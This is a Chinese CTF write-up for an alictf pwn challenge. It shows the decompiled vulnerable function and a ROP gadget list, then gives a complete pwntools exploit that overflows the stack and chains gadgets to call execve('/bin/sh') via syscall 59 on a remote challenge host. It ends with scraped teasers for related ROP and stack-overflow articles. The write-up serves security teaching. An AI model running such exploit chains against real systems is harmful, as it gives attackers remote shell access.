栈溢出之rop到syscall

当程序开启了nx,但程序有syscall调用的时候。这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve(‘/bin/sh‘,null,null),这是这次alictf一道pwn的心得。

ida配合gdb定位程序漏洞如下:

signed __int64 __fastcall sub_40108E(__int64 a1)
{
  signed __int64 result; // [email protected]
  __int64 v2; // [email protected]
  int v3; // [sp+10h] [bp-40h]@1
  __int64 v4; // [sp+20h] [bp-30h]@1
  __int64 v5; // [sp+28h] [bp-28h]@1
  __int64 v6; // [sp+30h] [bp-20h]@1
  __int64 v7; // [sp+38h] [bp-18h]@1
  __int64 v8; // [sp+40h] [bp-10h]@1
  unsigned int v9; // [sp+48h] [bp-8h]@7
  int v10; // [sp+4Ch] [bp-4h]@4

  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v3 = 0;
  sub_400330((__int64)&v3, a1, 80LL);           // 处理输入,首字母py绕过登陆检测,80字节的最后8字节控制ret
  if ( (_BYTE)v3 != 112 || BYTE1(v3) != 121 )

通过Ropgadget找到构造syscall的rop链如下:



0x46f208 : pop rax;ret
0x401823: pop rdi;ret
0x462873: pop rcx;ret
0x422568: mov dword ptr [rdi], ecx ; ret
0x46f205 : add rsp 0x58  ret
0x43ae29: pop rdx;pop rsi;ret
0x45f2a5:  syscall;ret

利用代码:

from pwn import *
#io=process(‘./vss‘)
io=remote(‘114.55.103.213‘,2333)
praxret=0x46f208
prdiret=0x401823
prcxret=0x0000000000462873 # pop rcx  ret
movrdircx = 0x422568
addespret=0x46f205 #add rsp 0x58  ret
prdxrsiret=0x43ae29
syscallret=0x45f2a5
pay=‘py‘+‘a‘*70
pay+=p64(addespret)+‘a‘*8                      #add rsp 0x58;ret
pay+=p64(praxret)+p64(59)                      #pop rax;ret
pay+=p64(prcxret)+‘/bin/sh\x00‘+p64(movrdircx) #pop rcx;ret;mov dword ptr [rdi], ecx ; ret
pay+=p64(prdxrsiret)+p64(0)+p64(0)             #pop rdx;pop rsi;ret
pay+=p64(syscallret)                           #syscall;ret
io.recvuntil(‘Password:\n‘)
io.sendline(pay)
io.interactive()

 
时间: 2024-10-10 01:24:24

栈溢出之rop到syscall的相关文章

构建ROP链实现远程栈溢出

通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出,攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,而微软的DEP保护机制则可使缓冲区溢出失效,不过利用ROP反导技术依然是可被绕过的,接下来将具体分析如何利用ROP技术绕过DEP保护机制. 课件下载地址:https://pan.baidu.c

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出.其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方. 前言 这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出.服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出. 漏洞分析 大体流程 首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数. 在 sobj_get_st

ROP

ROP是一种高级的堆栈溢出攻击.操作系统针对栈溢出漏洞的措施:数据执行保护(data execution prevention)技术,拒绝执行内存中user可写的区域. ROP允许攻击者在安全防御(不可执行的内存和代码签名)的情况下执行代码. Return-into-library technique: 在data exectuion prevention的前提下,attacker只可以利用在executable memory中的code,如代码区或者公共链接库中的code. Shared li

一步一步学ROP之linux_x64篇

一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等).上次我们主要讨论了linux_x86的ROP攻击:<一步一步学ROP之linux_x86篇>,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习. 另外文中涉及代码可在我的github下载:https://githu

栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcode

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式. 既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式. 第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的. 第二种是通过调用libc里syscall(64位)和sysenter(32位) 而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可

【转】针对Android上的ROP攻击剖析

引言       ROP(Return-oriented programming),即“返回导向编程技术”.其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的.构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间.但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的的代码,普通的杀毒引擎对ROP攻击是无计可施的. 栈溢出

[翻译]现代Linux系统上的栈溢出攻击【转】

转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E7%9A%84%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/ 现代Linux系统上的栈溢出攻击 2012.12.21 - 06:56 — jip 预备知识: 对C语言和 X86_64 汇编语言有基本的了解 ++++++++++++++++++++++++

实战栈溢出:三个漏洞搞定一台路由器(转自长亭科技)

转:https://zhuanlan.zhihu.com/p/26271959 背景知识: 1.snprintf(),为函数原型int snprintf(char *str, size_t size, const char *format, ...),将可变个参数(...)按照format格式化成字符串,然后将其复制到str中. 函数返回值:若成功则返回欲写入的字符串长度,若出错则返回负值.与snprintf的返回值不同,sprintf的返回值是成功写入的字符串长度,此处需要谨慎处理! 2.st

一步一步学ROP Linux x86

一步一步学ROP Linux x86 学习笔记一.无任何防护二.开启DEP三.开启DEP和ASLR四.开启DEP和ASLR,无libc 一步一步学ROP Linux x86 学习笔记 这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方. 一.无任何防护 在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp. 从最基础的开始,先学无任何防护的栈溢出.使用checksec看一下防护: 那就简单了,直接用shell